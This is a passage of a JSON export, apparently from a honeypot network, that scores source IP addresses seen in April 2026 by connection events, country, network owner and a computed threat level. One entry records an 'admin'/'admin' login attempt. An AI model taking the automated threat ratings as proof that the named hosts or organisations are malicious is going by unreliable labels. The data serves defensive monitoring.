        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 18,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T00:55:53+00:00",
        "last_seen_30d": "2026-04-24T01:01:39.055000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "104.152.52.143": {
      "attack_count": 4,
      "first_seen": "2026-04-14T08:17:49.083Z",
      "last_seen": "2026-04-14T08:17:49.527Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T08:17:49.083000+00:00",
        "last_seen_30d": "2026-04-14T08:18:58.391000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.153": {
      "attack_count": 4,
      "first_seen": "2026-04-12T22:20:47.689Z",
      "last_seen": "2026-04-12T22:20:50.674Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T03:11:03+00:00",
        "last_seen_30d": "2026-04-30T19:44:37.192000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 98,
        "Honeytrap": 31,
        "ConPot": 20,
        "Cowrie": 4,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "147.185.132.70": {
      "attack_count": 4,
      "first_seen": "2026-04-06T04:24:42.315Z",
      "last_seen": "2026-04-06T04:24:45.669Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T20:58:08+00:00",
        "last_seen_30d": "2026-04-29T20:53:33.899000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 23,
        "ConPot": 19,
        "Cowrie": 4,
        "Ciscoasa": 1,
        "Dionaea": 1
      }
    },
    "151.228.210.125": {
      "attack_count": 4,
      "first_seen": "2026-04-26T20:04:46.956Z",
      "last_seen": "2026-04-26T20:06:53.508Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Wigan",
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T20:04:46.956000+00:00",
        "last_seen_30d": "2026-04-26T20:17:40.819000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "196.115.103.4": {
      "attack_count": 4,
      "first_seen": "2026-04-26T05:04:49.958Z",
      "last_seen": "2026-04-26T05:06:53.746Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T05:04:49.958000+00:00",
        "last_seen_30d": "2026-04-26T05:17:32.130000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.70": {
      "attack_count": 4,
      "first_seen": "2026-04-25T10:37:26.322Z",
      "last_seen": "2026-04-25T10:37:29.777Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T00:09:26.860000+00:00",
        "last_seen_30d": "2026-04-30T23:28:47.474000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 23,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "20.102.92.72": {
      "attack_count": 4,
      "first_seen": "2026-04-10T09:42:51.225Z",
      "last_seen": "2026-04-10T09:43:01.827Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 71.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.5,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 24,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T10:23:10+00:00",
        "last_seen_30d": "2026-04-26T19:50:32.342000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 11,
        "Cowrie": 4,
        "Dionaea": 2,
        "H0neytr4p": 1
      }
    },
    "45.156.128.57": {
      "attack_count": 4,
      "first_seen": "2026-04-07T08:19:33.287Z",
      "last_seen": "2026-04-07T08:20:05.429Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 65.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.6,
        "persistence": 22.5,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 27,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T09:55:51+00:00",
        "last_seen_30d": "2026-04-29T19:51:10.192000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 4,
        "Honeytrap": 4,
        "H0neytr4p": 1
      }
    },
    "65.49.1.205": {
      "attack_count": 4,
      "first_seen": "2026-04-29T15:14:45.808Z",
      "last_seen": "2026-04-29T15:14:49.851Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 79.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 30,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T07:22:31.101000+00:00",
        "last_seen_30d": "2026-04-30T08:36:55.303000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 4,
        "Honeytrap": 2,
        "CitrixHoneypot": 1
      }
    },
    "146.190.157.120": {
      "attack_count": 3,
      "first_seen": "2026-04-21T19:29:26.541Z",
      "last_seen": "2026-04-21T19:29:26.631Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 1,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-21T19:29:23+00:00",
        "last_seen_30d": "2026-04-21T19:30:35.684000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 12,
        "Cowrie": 3,
        "CitrixHoneypot": 1
      }
    },
    "94.35.140.5": {
      "attack_count": 3,
      "first_seen": "2026-04-02T10:40:34.994Z",
      "last_seen": "2026-04-02T10:42:35.006Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Elmas",
      "asn": 8612,
      "as_org": "Tiscali SpA",
      "threat_score": 48.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 22.5,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 27,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:40:34.994000+00:00",
        "last_seen_30d": "2026-04-28T12:37:54.402000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 3
      }
    },
    "111.243.157.44": {
      "attack_count": 2,
      "first_seen": "2026-04-28T04:38:54.284Z",
      "last_seen": "2026-04-28T04:39:06.904Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Zhongli District",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T04:38:54.284000+00:00",
        "last_seen_30d": "2026-04-28T04:40:14.832000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.26.208.45": {
      "attack_count": 2,
      "first_seen": "2026-04-12T23:20:56.176Z",
      "last_seen": "2026-04-12T23:21:10.734Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T23:20:56.176000+00:00",
        "last_seen_30d": "2026-04-12T23:22:20.921000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.134.151.223": {
      "attack_count": 2,
      "first_seen": "2026-04-28T07:57:32.629Z",
      "last_seen": "2026-04-28T07:58:03.209Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T07:57:32.629000+00:00",
        "last_seen_30d": "2026-04-28T07:59:10.123000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "141.98.7.226": {
      "attack_count": 2,
      "first_seen": "2026-04-22T08:51:39.740Z",
      "last_seen": "2026-04-22T08:52:10.194Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-17T15:18:13+00:00",
        "last_seen_30d": "2026-04-22T08:53:18.950000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 54,
        "Cowrie": 2
      }
    },
    "173.20.164.5": {
      "attack_count": 2,
      "first_seen": "2026-04-28T02:57:22.541Z",
      "last_seen": "2026-04-28T02:57:34.880Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Waukee",
      "asn": 30036,
      "as_org": "Mediacom Communications Corp",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T02:57:22.541000+00:00",
        "last_seen_30d": "2026-04-28T02:58:42.379000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.99.110.32": {
      "attack_count": 2,
      "first_seen": "2026-04-11T18:51:32.982Z",
      "last_seen": "2026-04-11T18:52:04.305Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T18:51:32.982000+00:00",
        "last_seen_30d": "2026-04-11T18:53:13.041000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "186.216.30.166": {
      "attack_count": 2,
      "first_seen": "2026-04-30T10:50:52.319Z",
      "last_seen": "2026-04-30T10:52:52.324Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bras\u00edlia",
      "asn": 262663,
      "as_org": "METROFLEX TELECOMUNICACOES LTDA",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:50:52.319000+00:00",
        "last_seen_30d": "2026-04-30T10:54:26.683000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "187.180.167.245": {
      "attack_count": 2,
      "first_seen": "2026-04-22T10:57:02.727Z",
      "last_seen": "2026-04-22T10:57:02.729Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sorocaba",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T10:57:02.727000+00:00",
        "last_seen_30d": "2026-04-22T10:58:05.171000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "188.13.117.241": {
      "attack_count": 2,
      "first_seen": "2026-04-25T17:39:03.501Z",
      "last_seen": "2026-04-25T17:41:03.506Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T17:39:03.501000+00:00",
        "last_seen_30d": "2026-04-25T17:51:38.274000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "195.184.76.237": {
      "attack_count": 2,
      "first_seen": "2026-04-14T20:06:56.235Z",
      "last_seen": "2026-04-14T20:07:06.504Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 58.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 24,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T09:57:25+00:00",
        "last_seen_30d": "2026-04-24T06:32:36.811000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 23,
        "Cowrie": 2
      }
    },
    "195.184.76.39": {
      "attack_count": 2,
      "first_seen": "2026-04-15T08:32:02.368Z",
      "last_seen": "2026-04-15T08:32:02.373Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T07:03:28+00:00",
        "last_seen_30d": "2026-04-28T22:28:04.673000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 33,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "2.67.175.81": {
      "attack_count": 2,
      "first_seen": "2026-04-14T21:16:27.337Z",
      "last_seen": "2026-04-14T21:16:42.334Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 44034,
      "as_org": "Hi3G Access AB",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T21:16:27.337000+00:00",
        "last_seen_30d": "2026-04-14T21:17:44.867000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "211.221.196.103": {
      "attack_count": 2,
      "first_seen": "2026-04-03T11:43:37.471Z",
      "last_seen": "2026-04-03T11:43:37.473Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T11:43:37.471000+00:00",
        "last_seen_30d": "2026-04-03T11:44:45.052000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.148.164.61": {
      "attack_count": 2,
      "first_seen": "2026-04-30T23:09:13.718Z",
      "last_seen": "2026-04-30T23:09:27.237Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 57016,
      "as_org": "Inform-Service TV Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T23:09:13.718000+00:00",
        "last_seen_30d": "2026-04-30T23:10:27.667000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.202.184.188": {
      "attack_count": 2,
      "first_seen": "2026-04-27T11:07:10.479Z",
      "last_seen": "2026-04-27T11:09:10.480Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kharkiv",
      "asn": 34700,
      "as_org": "Maxnet Telecom, Ltd",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T11:07:10.479000+00:00",
        "last_seen_30d": "2026-04-27T11:19:50.140000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "41.135.86.11": {
      "attack_count": 2,
      "first_seen": "2026-04-26T10:18:53.537Z",
      "last_seen": "2026-04-26T10:20:53.593Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 20011,
      "as_org": "NTT-DATA-Inc",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T10:18:53.537000+00:00",
        "last_seen_30d": "2026-04-26T10:31:29.840000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.184.231.197": {
      "attack_count": 2,
      "first_seen": "2026-04-30T15:07:31.017Z",
      "last_seen": "2026-04-30T15:09:31.019Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Pehuaj\u00f3",
      "asn": 269795,
      "as_org": "MLV SA",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
